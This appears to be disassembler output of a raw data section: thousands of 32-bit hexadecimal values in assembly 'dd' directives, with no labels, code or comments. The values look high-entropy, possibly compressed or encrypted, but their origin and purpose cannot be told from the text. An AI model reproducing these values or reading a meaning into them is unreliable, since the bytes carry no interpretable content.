		dd 0BAA616DDh, 0E6358F1Ch, 1C00061Ch, 2243ED63h, 0ACA402FBh
		dd 8A6BD70Bh, 3E7DA083h, 64557900h, 666FAEA3h, 50370080h
		dd 3DAD9CBDh, 624F534Ch, 18AF040h, 3DDC19F1h, 0F40784D9h
		dd 45F373C4h, 0D16800FBh, 4799F618h, 0C03E209h,	0E1BC48F7h
		dd 60D70034h, 5E1667C3h, 6C393127h, 0C4AE8343h,	0D8EF9CA9h
		dd 489DF3F0h, 801D486Fh, 0E15200EEh, 8E400B03h,	95101918h
		dd 965B5328h, 392A4068h, 0CC0EE56Ah, 81A55C8Bh,	0E3D9E4A2h
		dd 4125CFFBh, 20E20C84h, 275F05Bh, 1E5960E2h, 4440788Ch
		dd 807C947Dh, 82FC5EA7h, 2E00BEBDh, 10D2600Eh, 1C907FC4h
		dd 8120A54Bh, 0ABD64384h, 11882295h, 0FD164ED4h, 0E140070Dh
		dd 406FF31Ah, 0A0681925h, 0C8171540h, 5C080030h, 0B70CAFB9h
		dd 0AE3F4ECEh, 4391E2FCh, 46B0E6C8h, 41596414h,	0AE400F52h
		dd 0F5A70430h, 848C5E3Fh, 5F4286D2h, 13B4112Ch,	35AC90FAh
		dd 9C0F7173h, 0C0372432h, 9259F90Bh, 407A5AB5h,	0D30EE324h
		dd 51009018h, 63B4C095h, 0EFE5AEh, 0D5F3785Ch, 3910EDCBh
		dd 40D6020Ah, 239160CAh, 5FE9E882h, 0A700D06Ch,	78DC320Eh
		dd 1D8F5Eh, 0D542111Fh,	954C627Ch, 0C16E7400h, 0DC4E5A24h
		dd 5FC9475h, 80AC5801h,	30C7C3Dh, 972E4498h, 6F068462h
		dd 4C81E168h, 2304900Ah, 0CC594503h, 0C600EF24h, 44DC0EEDh
		dd 4B196C97h, 576440F6h, 1B83799h, 12EFA13Ah, 0A4D0779Dh
		dd 742166h, 91ABD9BFh, 812599A4h, 86B40607h, 0A000C952h
		dd 96FCFEF2h, 92698E1Ch, 5B35C180h, 0D300F830h,	779230Fh
		dd 94027DDDh, 805068F4h, 3267AA6Dh, 9201CF4Bh, 1028E185h
		dd 64D1D744h, 696DEC50h, 3A0488DCh, 0AD96C00h, 766B84A9h
		dd 0C8890BA7h, 0B40495A2h, 4E405998h, 77C4ED2h,	11EC15FDh
		dd 0CC110EFh, 0EFB86353h, 0D432030Bh, 0FE541844h, 37F03Ah
		dd 0EE384CFCh, 0B66B39BCh, 0D413E7FEh, 0C01FD697h, 0ACDCA0A2h
		dd 5DA602F8h, 0CA69FA77h, 60F6B069h, 0B8BA401Ch, 16E3EC20h
		dd 20465A3Eh, 0FA8EDC1Ch, 70A49F54h, 60A07100h,	0E27D7876h
		dd 1DD100B3h, 19E63D61h, 0FA1A754Eh, 5330663Fh,	80BA1E74h
		dd 5EE34B08h, 170B38D6h, 0B0FB51B4h, 8095BADCh,	7C9E12D7h
		dd 0FA5D6E83h, 85911307h, 908ADCh, 47F3CAA5h, 414E53h
		dd 7C89AADEh, 4D81BB3Dh, 31914094h, 46CE0176h, 3B1DBC68h
		dd 0D46DE433h, 10ABC400h, 6B4E2E2Fh, 0EF4700DDh, 9D8AD5D2h
		dd 627C0EEEh, 1027FC94h, 0DEB208h, 0D77BB9C6h, 25514659h
		dd 0E3CBFB1Dh, 828B3A05h, 84E5CC92h, 184BE4B0h,	214D7461h
		dd 6D1A61CCh, 411B8028h, 2CAE3E86h, 4098F689h, 0B66CCB63h
		dd 810FB505h, 0B4081A01h, 84F396AFh, 0E23884C0h, 0D02C803Ch
		dd 164A0A3h, 9F585F77h,	746A3681h, 63E93EA0h, 197D0C70h
		dd 88D841E1h, 0E7041D76h, 0C4C7857Ah, 581004A1h, 538831Eh
		dd 0A3612775h, 6294D2DFh, 88075C64h, 5FA4222Eh,	7BBF56E0h
		dd 0B275FDh, 3A161B17h,	95CB35BDh, 288BCF00h, 0FE6606Ch
		dd 489F4862h, 489E5F87h, 19CC408Dh, 88926020h, 0BC0CDFA1h
		dd 0A1FA73C3h, 42C95E43h, 4817D794h, 3A44B4FAh,	517E0A34h
		dd 86F2DEh, 9DF64BADh, 0C2EA5BE8h, 96717505h, 5482F011h
		dd 5B0521Dh, 0EB273FF2h, 0DC8CC962h, 7D0F1124h,	60F0DDDEh
		dd 3C0F084Eh, 0F7E72EEFh, 7C704054h, 78004D93h,	0A073D17Bh
		dd 2665F49h, 92FEC182h,	70E4D343h, 88E8E95Dh, 9A6B4333h
		dd 5420F14Bh, 189B2BCh,	502806D3h, 487798DDh, 0B101F5DCh
		dd 0E34E0C29h, 84C40162h, 788D1EABh, 0D4C00C2Fh, 8098B9A8h
		dd 5CE1631Ch, 0F5405A07h, 0EDA662CEh, 2F94E684h, 1C900218h
		dd 0B4BCC043h, 0B08D50h, 9B1EAF11h, 9C79BA30h, 0A8EED600h
		dd 0B9525326h, 2A052887h, 0C05C94DCh, 0B21347Eh, 99274300h
		dd 5614C4A2h, 4CA100F4h, 5EEDA0F7h, 64137AC5h, 6CD0FCB3h
		dd 0FFE137h, 0C74EDAA5h, 0F636B1EDh, 8BB2D800h,	956A1EF4h
		dd 0BB422677h, 0DC0F9478h, 9A9DC7C0h, 0D8076B9Bh, 0AE076D05h
		dd 80F4D984h, 0E96400EDh, 0E014AABh, 2894D640h,	59145CACh
		dd 0BBE3C884h, 5D6F5300h, 3FD6841Ah, 0C36849C6h, 0B26A0021h
		dd 99D19530h, 413843A4h, 2CD2AA40h, 84772843h, 0C3842B0Ah
		dd 0D9112855h, 0C44A3600h, 0E5921872h, 0A3917C07h, 85F15D05h
		dd 184256C1h, 30A420E6h, 0DD255A5Bh, 0CACA0FCh,	96FDC1h
		dd 74E64083h, 0C45EEAF3h, 0EC70C9Eh, 92653FC2h,	0CBE863DCh
		dd 6C3CD157h, 72836040h, 0C8140107h, 50E10C84h,	4DC0D0C6h
		dd 586D920Ah, 16087406h, 0A3D4455Bh, 38884A6Ch,	0C98100C5h
		dd 0A566ED75h, 710EBE91h, 61A3C3C4h, 0F46C2BCAh, 723902DBh
		dd 0DFE82DAh, 97A79CE0h, 0DED3F516h, 248A8413h,	0B2565501h
		dd 0EC149B04h, 1E005A0Dh, 0D21DB892h, 90EE812Ch, 4804BA22h
		dd 84C2CCBEh, 0E8E64CDBh, 574AE44h, 0A8834BFAh,	178F2F2h
		dd 1EA282EBh, 692019BCh, 770D00DEh, 54720253h, 4F027EE5h
		dd 842123FAh, 9874FAD4h, 8DED133Ch, 2A4C3FEh, 341FA888h
		dd 9A60EC03h, 4CB76235h, 324A2C79h, 7421BD64h, 402A6905h
		dd 0E42A7344h, 0B0072F0h, 0B5192C5Ch, 91B80C5h,	0E7B17D70h
		dd 737FBC82h, 0EF43F504h, 69B99E37h, 0E8498005h, 790ECD1Ah
		dd 14595C41h, 0F725205Dh, 0D5F54848h, 552FD0F5h, 6A8CC01Ch
		dd 87AABB80h, 969C603Ch, 414E44C0h, 25F704EFh, 0D56EB850h
		dd 0FC7C13CDh, 0A68C8043h, 331DE11Ch, 0F4000755h, 0FA503BD5h
		dd 8414254Fh, 3E250844h, 215C6459h, 5E0744C1h, 0F390F9FEh
		dd 0E1C6CBh, 2992740Eh,	0C43C8999h, 0FADEF602h,	5C1DD039h
		dd 868350C8h, 3AE15500h, 0D4053CF0h, 0F30C3F74h, 0F5A62B02h
		dd 0E452FB8Bh, 53EBFF00h, 47A893B6h, 6E031E9Eh,	7AA2C4D3h
		dd 62394040h, 2C7E95F6h, 62A492B3h, 0A8820913h,	0EC84E651h
		dd 0B888523Ah, 0FB4D0025h, 6B1CACD8h, 0F500C82Dh, 2F6D9353h
		dd 0A2D359A6h, 3C44E0h,	10778EE9h, 556041Eh, 0A1A0FD00h
		dd 0A82FB562h, 0DA605C1h, 0B24A4D28h, 975C03B8h, 0E0BE1FC4h
		dd 0B94EF9Eh, 28D2F63Eh, 290024E5h, 0DFB32ED0h,	0F6CA00A9h
		dd 4E5513A3h, 0B3B87963h, 10704401h, 0F7D90DDCh, 3E01AC48h
		dd 0BC008D7Eh, 1B2A51CAh, 58B5E9F8h, 16CB1750h,	79EC3058h
		dd 6D008128h, 3166ACEAh, 0EE9AAA2Ch, 722E87Bh, 0F29098D3h
		dd 53E720D6h, 7512EF42h, 94A0C9FAh, 0AC2213EAh,	985C0867h
		dd 0F80044A2h, 77C8BA4Dh, 47A21h, 0B7A38A2Eh, 74B1537Dh
		dd 0A7D1B8C3h, 90502A6Ah, 66BB007Ch, 78289E10h,	0C9002C60h
		dd 76CAB2EBh, 10ECD0E1h, 25E730C1h, 0B044D5h, 0AA17316Dh
		dd 0B674D77Dh, 7B7D66E8h, 5B8A0701h, 267435Dh, 1202B838h
		dd 0E2CB7E9h, 0FB8968E0h, 5E03FCB1h, 8038B37Ch,	440A61Fh
		dd 938948E7h, 2FD0C0E9h
		dd 0C101F8A1h, 0E1159514h, 54359B25h, 6228E872h, 0AAD0164h
		dd 9D7280C6h, 814D4A3h,	5B3A783Dh, 0E3AE1FCh, 0E4FA2F09h
		dd 0D800A464h, 0A3895D96h, 3F250EF1h, 0AF1C03EBh, 0B929CB75h
		dd 19E13A80h, 4C000212h, 5C1B92D4h, 25E44679h, 3CC43847h
		dd 8B30F200h, 820F816Dh, 8AE7039Fh, 28FEE2E1h, 0A499387Dh
		dd 37301CB8h, 7D32E100h, 0E9B3F3Eh, 473CA2CDh, 0A6667C61h
		dd 27E1E4C1h, 0E84D4802h, 5C768294h, 56F58060h,	0D7D492C2h
		dd 0D05BF20Fh, 0DAA20007h, 5C034DC3h, 0C0C1A89Bh, 0F807336Fh
		dd 1301DE4Ch, 4E5DD5E2h, 483046D9h, 0B69C14F9h,	1100D415h
		dd 79E40A0Eh, 460212E7h, 0E1CA8660h, 808C5EFCh,	0C875BC8Ch
		dd 5405A7A3h, 7050F56Dh, 9093C4C0h, 0BC115C78h,	0A9740D00h
		dd 0D51B04D3h, 46662E00h, 0EDD05C59h, 0F9481813h, 0C7E75199h
		dd 8789403Fh, 0C98DD355h, 54FF9ED1h, 79562DD4h,	595C7129h
		dd 0AA08E48Ch, 96BCF43h, 629819E8h, 2484D80Ch, 4098FCF1h
		dd 82D24377h, 626C3E00h, 20B089BCh, 3BDB7D22h, 17FA02AAh
		dd 88BFD2E7h, 0DA7388F0h, 3E86801Fh, 0EA00819Ch, 79EE97A8h
		dd 0C86D01E1h, 3FFAF55Eh, 0C4292B43h, 0D0ECF12Bh, 2F00AC02h
		dd 0DB51D516h, 0F4185898h, 0A891F6h, 0C7066427h, 832E67ABh
		dd 0D800FF7Ch, 2B3D210Dh, 3F0512A7h, 2FFC2C59h,	0E11AAF1Eh
		dd 0BB2D240h, 18EEF24h,	0B9616244h, 0C6D3405Fh,	0E8E0B074h
		dd 0A2F677h, 0A3FD9BB4h, 0F904E341h, 3D30B095h,	0FEC80D8h
		dd 0BCCA402Eh, 9CD5D740h, 0AE593035h, 0E1F10231h, 8820955Bh
		dd 0FA9793F3h, 0A5BE009Ah, 0F4CEDC67h, 4D244699h, 0B4028F9h
		dd 0C582Bh, 0F849AD29h,	91F29275h, 0F01AD232h, 6BAC20AFh
		dd 209CF661h, 0E30F0049h, 180D81Dh, 5D0D86E9h, 412367E6h
		dd 893EF3FCh, 4869D329h, 7E17B30h, 42C9DFF8h, 2E5A7023h
		dd 0D0903A6Ah, 67C04325h, 0AC0D8E40h, 40E03752h, 9195987Ch
		dd 23737700h, 2E0BC93Dh, 1FB2032Dh, 94164CB6h, 43A4F4F4h
		dd 9FD4F307h, 1BC0AA7Dh, 4B332BF0h, 6DEC88F1h, 0EE00B078h
		dd 63E40514h, 9EA2A86h,	0E103D42Ch, 6995FC5Bh, 11D713CCh
		dd 0F86D2CD3h, 170C5E03h, 160E1BD3h, 0E021410h,	0C412D225h
		dd 792E2460h, 5E02E57Ch, 17686EDCh, 0E8A863A9h,	563C84B8h
		dd 512FBC57h, 0DCEDE090h, 0F5064000h, 4C411635h, 25D30B66h
		dd 1C440CA6h, 0F2E42900h, 0B25104A9h, 8FCF3ADBh, 8D839A4h
		dd 0EF8044C3h, 0E1FA0E03h, 0BC909726h, 0CB006272h, 0D87EB731h
		dd 11EE9311h, 1640F7E8h, 0B7008012h, 5BA4CFB7h,	0D9AA0008h
		dd 0E21C2A2h, 0D8CBF0ACh, 432004D4h, 0F8BE508Dh, 0D5FAD600h
		dd 47CCD958h, 0C568E658h, 3EA120Ch, 0E565AD9Fh,	0CA3304C8h
		dd 0E71F7309h, 7B464DFh, 0FC038A05h, 1C8E3017h,	7202833Ah
		dd 380281DCh, 482D5E7h,	8060E93Dh, 165BDDDEh, 8FD11408h
		dd 93A188C6h, 0C050AC4Eh, 98006469h, 992FEEEDh,	74135934h
		dd 224C92C6h, 0F506E4C1h, 1502DE1Ah, 31D84451h,	0DAB79B00h
		dd 0C9797EB3h, 49A70158h, 0ABF3E63Bh, 80BC7245h, 0A9A42482h
		dd 677EC3h, 8F59DB6Ch, 0F64B9023h, 91412101h, 95643592h
		dd 0D411A832h, 98CC4A57h, 44C898A7h, 0DD09E8E4h, 81D909DEh
		dd 77EBFD70h, 95259A70h, 72982D43h, 98CB303Fh, 0F97019C6h
		dd 0B00B883Dh, 0AD003555h, 3B1F1B19h, 0FDD6F800h, 299BD2C1h
		dd 805CB9BAh, 0E23A0489h, 0A65CD544h, 6F1C00CAh, 0FA5B18C8h
		dd 6DA516E3h, 0EE501D24h, 0BB084038h, 9700DD06h, 7EC99B0Dh
		dd 2C8CF2DCh, 7C0313h, 12B8FD5h, 0BFE6C61Ah, 925CC8C4h
		dd 3AFE8CCh, 991071BAh,	57A9F450h, 0C3268h, 0D3C0CA6Ah
		dd 0BE51AFh, 0E8AEC7FBh, 6D4C3930h, 0FB663F3Ah,	9ED04420h
		dd 53A06054h, 4804289Dh, 12D74D47h, 0CF8820ACh,	41271A64h
		dd 6C14D070h, 20D3812Ch, 0B04034E2h, 9C696F74h,	3780BD64h
		dd 0F03DAEBEh, 67034BFAh, 1AC16E60h, 0AC8102A3h
		dd 0B4450D9Bh, 0DD7450E8h, 8861720Fh, 0CB50E140h, 48213E26h
		dd 0FE802428h, 7455DB06h, 3F04087Ah, 54119D0Bh,	54CB1084h
		dd 44A20B75h, 9B0021F9h, 60738A1Fh, 924EB98h, 6C42384Dh
		dd 79D22253h, 0F0ECE413h, 772E43A0h, 0FAC9EA00h, 0F3F18C8Ah
		dd 0BF1809A4h, 888F5EDDh, 0A8A8A6A4h, 0B7F38050h, 290F2Fh
		dd 0A9709CEEh, 4E312383h, 6900E7E0h, 0C1944414h, 988C79D5h
		dd 0DC7A58B0h, 43706C24h, 6C80C40h, 3777685Ah, 4A096166h
		dd 42A06121h, 0E8202FEDh, 660587B8h, 0AE98D5C2h, 2BD77C81h
		dd 0DD05C432h, 40B0CDh,	702F06F8h, 170346B3h, 99BEE9C6h
		dd 53E3A058h, 0C14B637Bh, 0F6F00D2Fh, 480D7FC9h, 8A7C057h
		dd 10C9408h, 0B86DE996h, 0C0666373h, 9B0CA392h,	808408CBh
		dd 0B00E51BCh, 8F05D891h, 5A883C07h, 5FA17050h,	0A600EEEAh
		dd 33B94EF4h, 44A5C2F3h, 0C3394357h, 6210C822h,	0D94A070h
		dd 8719199h, 0ECA20A8Fh, 4C31785Ch, 0D402A611h,	270018B4h
		dd 91098693h, 725ED5CBh, 68106AC3h, 9A400D98h, 88680B68h
		dd 0AAF1C04Dh, 2B006C7Dh, 3ED9ADA0h, 24B6495Eh,	2FCD3C6h
		dd 5C87564Eh, 5376A460h, 0C8FBFC25h, 1F1B464h, 0FF170F8Bh
		dd 0D72FE420h, 60DB0824h, 8B0E6385h, 936A69C0h,	23C80009h
		dd 0DCD3D70Ch, 0A95098BDh, 74F0535Ch, 0D4A4B754h, 925C7C2Ch
		dd 9AAFFF00h, 819358h, 67384150h, 9B8C8590h, 5A5BEE03h
		dd 0C0CDF587h, 1C8D363h, 0BA33140Bh, 0C46C51C3h, 9C00242Eh
		dd 64933A7Bh, 7357676Dh, 784A3C6Eh, 0DDA33C80h,	41456B11h
		dd 1871E400h, 8D31D0F4h, 85350095h, 0A71CC665h,	4D1D5C06h
		dd 2D9DD8D9h, 0B7BA6B00h, 0BCF6Dh, 56E4E51Dh, 9265D571h
		dd 0F803A073h, 0A687186Bh, 1490F97h, 6EA04599h,	7E215E2Ah
		dd 308ACD30h, 0DD235h, 0C3A7BAB9h, 6F40B550h, 8B5DC000h
		dd 8CC282BFh, 53131D21h, 4217C099h, 0B44ED6E0h,	0EF044000h
		dd 0B7C8A67h, 0ECE93CF0h, 99955B14h, 0B2BAB500h, 5A89C716h
		dd 160E400h, 0B39E0E66h, 0AA8D1865h, 0E51781DBh, 14D63B03h
		dd 34518Ch, 54090AB0h, 0EF99026Fh, 636BE203h, 8958BEh
		dd 0C5D6F6D0h, 995F9C7h, 9F692602h, 60DF1F7Bh, 0F6BE91h
		dd 0EC440C7Dh, 59F9B517h, 0B900937Eh, 0B2321DE5h, 0F3BF2428h
		dd 8B6AFCh, 9987B16Dh, 0AF44127Ah, 0AD0E4300h, 0CD5B91C6h
		dd 88A200D2h, 2295A1CEh, 7B00ECCAh, 10AF45B5h, 0E78256Ah
		dd 35C1266h, 0A64424E0h, 49C6042Eh, 0F808304Ch,	1E4600E5h
		dd 52A0887Ch, 7807BF7Fh, 38BD710Eh, 14701A47h, 1F4AE0Fh
		dd 617F5FEAh, 0F331AA54h, 58094101h, 0B7EB0777h, 1C4270F8h
		dd 9E901FDBh, 0DEAEC0CDh, 0EEF2432Ch, 94C0FEE4h, 6A5D532Ah
		dd 0AEFCC1h, 6D9246DFh,	0B639A256h, 809CD938h, 6CF0F9DDh
		dd 0AD301Ah, 44C12E14h,	347399F8h, 0EAE4000h, 0BFCA2FCFh
		dd 0AAA50C5Ch, 6BF0A06Ah, 2E792A18h, 0E0CD15E9h, 4080A042h
		dd 1E27409Dh, 503D4D04h, 378009D2h, 0FAA423h, 4C041F24h
		dd 2E31954Bh, 0DAD7E1C0h, 7A24E5Fh, 619EA3BBh, 0FC64D057h
		dd 58DD0544h, 406A80F9h, 49695390h, 0B3F43F7Ch,	3197D280h
		dd 25307AAEh, 9589E5A1h, 0E8048E11h, 5B4C1FD5h,	496700A1h
		dd 38D6FF28h, 35842603h, 0C86105A7h, 1F2F078Fh,	80E267A0h
		dd 0AA6BC215h, 0F87DC0E1h, 0E7CBC800h, 0F5112BD1h, 5E400B1h
		dd 3920D89Bh, 151CDB7Dh, 560007BAh, 0D568A0BBh,	61E400F4h
		dd 0A98226E0h, 741D972Dh, 17D1D13h, 417981Ah, 2080FB87h
		dd 0E1ED6949h, 0A07F9E2h, 9C884C02h, 34BD2080h,	0E4620054h
		dd 1A64E3A2h, 3030C3E9h, 0AA42388Eh, 0AC5B0013h, 0B23B731Fh
		dd 993C5885h, 392C80A9h, 3059FC41h, 0F4460029h,	0C7EAADC3h
		dd 1D7DA76Bh, 8F452C18h, 389BE148h, 81800BECh, 0AECCD0BCh
		dd 6AE89489h, 2A3B9CC0h, 0FFFDAE1h, 4AA2CB3h, 58E53A60h
		dd 6A3AEC7Dh, 79348EFAh, 0B2A3E5F6h, 9F1FBC00h,	40335Ch
		dd 0C5717609h, 8455028h, 2F14B30Ch, 397C40ECh, 69BCBEC4h
		dd 569F9180h, 0CF3DFDE1h, 0C8EFAB1Eh, 3E742080h, 0F11E4Dh
		dd 8DD85F13h, 0D3DBE92Eh, 4CF07E54h, 0A7B85700h, 8319467Bh
		dd 0FD9C0909h, 0DC00802Fh, 523E592Ch, 0B3318700h, 7F89AF0Bh
		dd 1CBB00F1h, 504D9612h, 0FA1873FFh, 1AA069B1h,	6E0E5CF5h
		dd 2742A0Fh, 4C656E20h,	0AD0094D9h, 3C37515Ah, 0B071B8BCh
		dd 124D00AEh, 0AE0DC9Dh, 0D5007F6Ah, 702BC4AAh,	0F85BEC7h
		dd 7C65969Ah, 0F1DC71E0h, 461FA258h, 41C32C35h,	0D27045CEh
		dd 4EBBE0BDh, 3BE20406h, 877F2392h, 3344D08Ch, 39000DE7h
		dd 1FB50E51h, 2CA37524h, 48FA2Ah, 0D9B927B0h, 0EE00979Dh
		dd 0CBF9D589h, 0A3B7B8h, 0D1803231h, 788E1AA8h,	0D59C8A00h
		dd 25172CD6h, 510A7A64h, 54E8A47Fh, 0B8807F56h,	0D7E03ECh
		dd 2097CEBDh, 273BE888h, 5B47F502h, 40E71279h, 3B9C941Ch
		dd 1A80E946h, 29DAAB96h, 0EB00DC7Dh, 68D101B5h,	1189382h
		dd 9ED9A104h, 0D4517FC4h, 0E4EBE86Ch, 0EC004D14h, 0F6EE1C40h
		dd 0B26D68h, 6F870CFCh,	0C9F1A84Fh, 245D9900h, 26969E11h
		dd 0E97400E2h, 46339CE0h, 0F80E2757h, 2086949Fh, 0ED958C15h
		dd 4C7EE82Ch, 49030036h, 62B25AB9h, 0AF152A8h, 0F42A9A1Eh
		dd 7489E8C0h, 6E2D1Eh, 53E0419h, 3C9C7985h, 0B981707h
		dd 83916DB3h, 66ED2BF3h, 98C92EECh, 7B6101AEh, 0B78BADCh
		dd 641424DEh, 0D8008A7Ah, 0FA3E63EBh, 3EDAD28h,	0B49B8EB0h
		dd 2BD8BB78h, 0A94DBF64h, 20EB014Ch, 2911D165h,	0E160C30h
		dd 0BEF4F996h, 523B0FC0h, 0A000FF62h, 4C288858h, 2EB1FBh
		dd 22D8D178h, 64759CB5h, 7C6EAF5Ch, 9497661Dh, 488B2FC1h
		dd 79E8D7F7h, 67C303F8h, 44EBAA6Ch, 0DBA0B1B0h,	0C90070ECh
		dd 0DC3906A9h, 2B4EFFh,	9DDF2785h, 2F6FF7A7h, 0B68A300h
		dd 91151484h, 0BF721D71h, 66D2804Ah, 80BEBB37h,	0C89B5F00h
		dd 0EB514C0Dh, 0A67E77h, 3F31720Fh, 4A43CF6Bh, 3002570h
		dd 726AB1Fh, 127971C9h,	3065D0D4h, 0AC68204Ch, 8800D890h
		dd 19FF4A3Fh, 43499Ch, 9EE2C2AEh, 0DC0C2E58h, 48941803h
		dd 98A97D90h, 7EDA72B8h, 0C51F2C7Bh, 80182691h,	0B12F0D36h
		dd 349A3988h, 0BAE16B01h, 4589060Bh, 76998440h,	674200C5h
		dd 308811D4h, 9B0E6B66h, 42A33EF9h, 60C27C22h, 12390E7Ch
		dd 6E014Bh, 0DA49FCC7h,	0F500C613h, 0D576E95Eh,	1FFF1Eh
		dd 8908227h, 0D454E7EDh, 122481Fh, 0BF29C047h, 7DE6E00h
		dd 684500B3h, 48317ED6h, 0E5904CB2h, 0F71440BFh, 4CEFE0Bh
		dd 0F3EF4A24h, 0EC70D067h, 0BA1BBB09h, 0E9D1124Ch, 431518Fh
		dd 716AC8h, 0C5E40CDAh,	39AFAA35h, 0EF47B800h, 221BA01h
		dd 77C300C8h, 0AD1D3456h, 0B8383ACDh, 0AC048146h, 0D8658693h
		dd 25CCE5F5h, 0C3CE0054h, 1167FAA8h, 3A003F69h,	1B94D08Fh
		dd 98AB3B8Eh, 458A00Fh,	0B9741384h, 40205C46h, 1ABC92Ch
		dd 0DD0F506Bh, 27777DBBh, 2F710CC2h, 0FC3216E3h, 0AE0B6100h
		dd 0EB7F570h, 7BEF345Ch, 4491C02Eh, 0CA8E7900h,	8D3D64h
		dd 0F15F49D4h, 53271A83h, 15A90902h, 0C04AF5A1h, 0CEF88BCh
		dd 4E837246h, 0DF001810h, 55360DCBh, 714B6D1Dh,	83680062h
		dd 1F0AAAF5h, 1605EDF2h, 326A0566h, 0CDDB7580h,	4EFB0130h
		dd 2DD0533Eh, 63F36098h, 83AE4F0Fh, 3579C1C1h, 76E0A38Dh
		dd 4B6F0038h, 0FEB3E777h
		dd 0D4004212h, 0AFA24052h, 0C0816Ah, 0C3470D6Eh, 0A35E3085h
		dd 0EB5F8D00h, 35ECE911h, 91931C5Ah, 0DC618A19h, 4D860788h
		dd 2DD260B1h, 0CB8726Ah, 0AD5C232Ch, 0F0C03F1Dh, 0B1DD4F47h
		dd 49BC04C6h, 0FA4C7184h, 6205A801h, 5AC808DAh,	0E2551D0Fh
		dd 0F130C032h, 229C6CEEh, 0AAE47E00h, 3D3AB484h, 0CF50362h
		dd 0CC8E9110h, 0E012C5A9h, 4600CE6Ch, 87C65809h, 31A20h
		dd 7F7DD074h, 701904ACh, 0BE5348h, 0AFF7F934h, 0B0EFC08h
		dd 0F5C1ED4Ah, 0C4BAB8A0h, 0DD5EE399h, 560017F8h, 7376A6B9h
		dd 0CB006F17h, 575BF684h, 3C5D89h, 7C911F8Ah, 0EE8B941Bh
		dd 0C033A800h, 0A3E6D4C6h, 0FCB7E2A2h, 0AF930186h, 9DA301Eh
		dd 0CA0328Fh, 79FBBB83h, 0C1460091h, 81FCADF4h,	0BC5CBF52h
		dd 0EA710744h, 3D416609h, 1847B428h, 240025A5h,	159A8333h
		dd 0B908C330h, 181FA571h, 8700AB3Dh, 5BA8EB65h,	68E6063Ch
		dd 219725BEh, 0CE9A9B03h, 0FA96B6h, 2D065359h, 0CF5D68D8h
		dd 27D63A00h, 3DAD5F48h, 0EDA15094h, 229900FAh,	0F5E3E24Ah
		dd 0F800E0F0h, 0F4064FCAh, 0CAE2991h, 321499C6h, 593130E0h
		dd 77F64E96h, 1766829h,	0B37CE0D6h, 0D88A02CCh,	68003EDCh
		dd 37C53ADDh, 2ACD81h, 0B754EF6Eh, 5531256Fh, 22949100h
		dd 4A327AC9h, 64F100A1h, 0C4F87661h, 0DB385DF4h, 7E5B80E0h
		dd 98A8C6Dh, 5C77039Fh,	90D24004h, 9B89A8C8h, 6D038E78h
		dd 20D583F8h, 19F90C3h,	0FD730081h, 98A86FCEh, 6700A105h
		dd 0F5D3F69Bh, 50D46559h, 90BC99h, 0D6A5FE87h, 0C3D030E4h
		dd 45A35A00h, 0F3465BC9h, 0FC1700BEh, 4B10D48Ch, 0F400872Eh
		dd 0AF5C6B29h, 835D7Eh,	6E28ABD2h, 0AD6D37C6h, 0C093D52Ah
		dd 8A0B0204h, 1CB28DC2h, 882028ADh, 0A9C78146h,	70375A8Dh
		dd 0AA006611h, 5EC3E186h, 1F09E7EFh, 87C6C401h,	110A6276h
		dd 0F499A00Bh, 7242AA1h, 9500CBB7h, 7BE51E10h, 0D90B1306h
		dd 5A5C004Fh, 0AD3487E2h, 0FE6B0A00h, 0F339CDB9h, 0B04E00D2h
		dd 0C10B2A0h, 0F000406Ah, 0BFA90342h, 6172B9h, 1F980194h
		dd 0E537FB9Fh, 23090209h, 8F2460DEh, 4CB57983h,	0C100340Ah
		dd 31CB8EEBh, 0D2007E63h, 0D489CCA7h, 437AA6h, 268206B1h
		dd 581962Fh, 69912901h,	0F1AEF43Bh, 0D834D4h, 61163D92h
		dd 6F308226h, 46301EE2h, 0B3E01062h, 2F3F06FBh,	96578AB0h
		dd 0C277A500h, 7D36DB39h, 0F382009Eh, 78BF91BAh, 2E02EF37h
		dd 0AC35F532h, 5C81E00Fh, 0CC2F00C6h, 3FA7B618h, 0D10056B5h
		dd 2B7D044h, 0E08B6080h, 0CDD900D4h, 527C3C83h,	66008D9Eh
		dd 6465234Ch, 3D97C21Ch, 0C7005AFBh, 0DB2D25F3h, 470B8221h
		dd 0D07ACE8Eh, 0F58000A5h, 33FB466Bh, 0F901DBD4h, 0F3A58C5Ah
		dd 308FAB8Bh, 83003E07h, 6F0C4B03h, 31124CB0h, 64DC5254h
		dd 814800E1h, 79CA2D67h, 424890F6h, 0F38E0018h,	0BFE0979Eh
		dd 77E2AEh, 9B0A86A2h, 0AC0B3A09h, 8A13FC00h, 50060D62h
		dd 0B2B30024h, 16284772h, 777B6A2h, 0D1BF6E00h,	0B4E7DF70h
		dd 24A700B3h, 0C7B803DBh, 22171AF2h, 0FD0937D7h, 0E20FFD80h
		dd 0D00D3220h, 0DA00F7CDh, 0D2EE54C7h, 881F9Fh,	404E3961h
		dd 249C8E8Ah, 6127252Ch, 32DEE0Bh, 0C06A59ECh, 94178051h
		dd 529A00F4h, 46F407A8h, 6FFAE5FAh, 0DEC6F900h,	0FEE6F520h
		dd 0A15512DBh, 6E9CC819h, 67AE2D00h, 0A64D73B5h, 1E1B03CDh
		dd 1963A8D3h, 50755400h, 0B2FB7630h, 0AF791D11h, 0AD41000Ch
		dd 262D1E72h, 0C55FE414h, 0D6D4008Eh, 9875E01Dh, 4794008Dh
		dd 0BD66B219h, 8200DC4Ah, 9A34DF7h, 4995DBD5h, 971DC54h
		dd 4E8B6E78h, 9B93C4C0h, 0A7B49E00h, 1C1B8EDh, 0AED5000Ah
		dd 16F8C6AAh, 0DC002D08h, 0A1EA0BB6h, 13A6788Dh, 82EED582h
		dd 7AE06CD4h, 1803E473h, 65EAE849h, 2E1AB857h, 0CC8505E1h
		dd 85FCF672h, 80C4B63h,	9C1BF682h, 84F86C50h, 9A120A00h
		dd 2378BD9Eh, 0D42C13D2h, 0C0385C81h, 0E4385AB9h, 660B7BC7h
		dd 80E140B3h, 0CA0A59Ch, 0D0B80FA9h, 88E5F6C4h,	40D8002Ch
		dd 0F8CA2E05h, 79042731h, 0A7E87F12h, 0FB1900D5h, 0E1DAE705h
		dd 70C48FC1h, 5A418837h, 0F71CCDC5h, 996E3909h,	3E54E066h
		dd 0E8865B2Ch, 0C78F009Bh, 5B241974h, 97EF00DDh, 0BABEEC52h
		dd 45069D6Eh, 0AC07B2Bh, 54190060h, 0DD63CF05h,	0F5F64D18h
		dd 0D15E6400h, 0F8F7458Ch, 155901BAh, 0DB409F13h, 127AD85Bh
		dd 0FBA0A41Eh, 60791F0Fh, 0C0C6D3EBh, 340100E2h, 2B48680Fh
